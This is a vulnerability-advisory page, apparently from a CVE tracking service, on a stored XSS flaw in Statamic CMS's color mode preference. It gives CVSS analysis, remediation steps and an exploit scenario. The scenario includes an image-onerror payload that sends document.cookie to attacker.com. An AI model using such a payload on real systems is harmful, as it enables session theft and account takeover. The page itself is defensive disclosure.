Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS 3.1 score of 5.4 reflects a medium-severity vulnerability with important context from the vector components: network-accessible attack (AV:N), low attack complexity (AC:L), low privileges required (PR:L), but requiring user interaction (UI:R). The medium CVSS score is appropriate because while the confidentiality and integrity impact are limited (C:L/I:L) with no availability impact (A:N), the real-world risk is elevated by the privilege escalation potential when administrators impersonate accounts. The requirement for user interaction (UI:R) means the victim administrator must actively view or interact with the compromised preference, which is typical for control panel workflows. The changed scope (S:C) indicates that the impact can extend beyond the vulnerable component to other systems on the same domain. Exploitation probability via EPSS would likely be moderate given the requirement for initial authentication; however, the vulnerability is not listed in CISA KEV (Known Exploited Vulnerabilities) catalog at the time of this analysis, suggesting limited active exploitation in the wild. The real-world priority should be high for organizations running Statamic in multi-user environments where privilege differences exist, but lower for single-administrator installations or those with strict access controls limiting which users can impersonate others. |
| Exploit ScenarioDerived | An authenticated editor with limited permissions injects malicious JavaScript into their control panel color mode preference (e.g., storing <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)> as their preference value). When the system administrator accesses the user management section and clicks to impersonate this editor's account to test permissions, the stored JavaScript executes in the administrator's browser session with full administrative privileges. The attacker's server captures the administrator's session cookie and uses it to gain unauthorized administrative access to the Statamic instance, allowing them to modify content, create new administrative users, or extract sensitive data. This scenario is realistic because account impersonation is a common administrative troubleshooting practice, and the attack requires no user interaction beyond the administrator performing their routine duties. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 13, 2026
Statamic CMS versions prior to 6.6.2 contain a stored cross-site scripting (XSS) vulnerability in the control panel color mode preference functionality that allows authenticated users to inject malicious JavaScript code. When a higher-privileged administrator impersonates or accesses the account of an authenticated user who has injected malicious code, the JavaScript executes in the administrator's browser session with their elevated privileges. This vulnerability is network-accessible and requires low privileges but user interaction from the victim, resulting in a CVSS score of 5.4 with potential for session hijacking, data theft, or further privilege escalation depending on the administrator's role and permissions.
RemediationAI
Immediately upgrade Statamic to version 6.6.2 or later, which contains the fix for the stored XSS vulnerability in the color mode preference setting. This patch properly sanitizes and encodes user input in the preference storage and rendering mechanisms. Organizations unable to patch immediately should implement the following compensating controls: restrict control panel access to a minimal set of trusted administrators using network-level access controls (IP whitelisting via reverse proxy or firewall), enforce strong multi-factor authentication for all control panel accounts to prevent credential compromise, regularly audit control panel login logs and preference changes for suspicious activity, and implement Content Security Policy (CSP) headers with strict directives to limit JavaScript execution. Additionally, disable account impersonation features in the control panel settings if they are not essential to operations, or implement mandatory re-authentication for impersonation actions. Monitor for any suspicious modifications to user preferences across all accounts and consider resetting preferences for all users after patching to clear any potential injection payloads.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Statamic is a Laravel-based content management system (CMS) that integrates Git for version control and provides a web-based control panel for content management. The vulnerability exists in how user preferences, specifically the color mode setting, are stored and rendered without proper output encoding or content security policy enforcement. This falls under CWE-79 (Improper Neutralization of Input During Web Page Generation), a classic stored XSS vulnerability where user-controlled input is persisted in a database and later rendered in HTML context without sanitization. The attack vector targets the control panel authentication mechanism, meaning the attacker must first obtain valid credentials to access the control panel. The vulnerability is specific to the preference storage mechanism and affects the CPE designation for Statamic prior to version 6.6.2 (cpe:2.3:a:statamic:statamic:*:*:*:*:*:*:*:* with versions before 6.6.2).
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Statamic is a Laravel and Git powered content management system (CMS). Prior to 6.6.2, stored XSS in the control panel color mode preference allows authenticated users with control panel access to inject malicious JavaScript that executes when a higher-privileged user impersonates their account. This has been fixed in 6.6.2.
Executive ViewAI
Organizations using Statamic should be aware of moderate risk from CVE-2026-32612, a cross-site scripting vulnerability rated CVSS 5.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-11732
GHSA-hcch-w73c-jp4m
NVD
CVE.org
EPSS
VulDB
Exploit-DB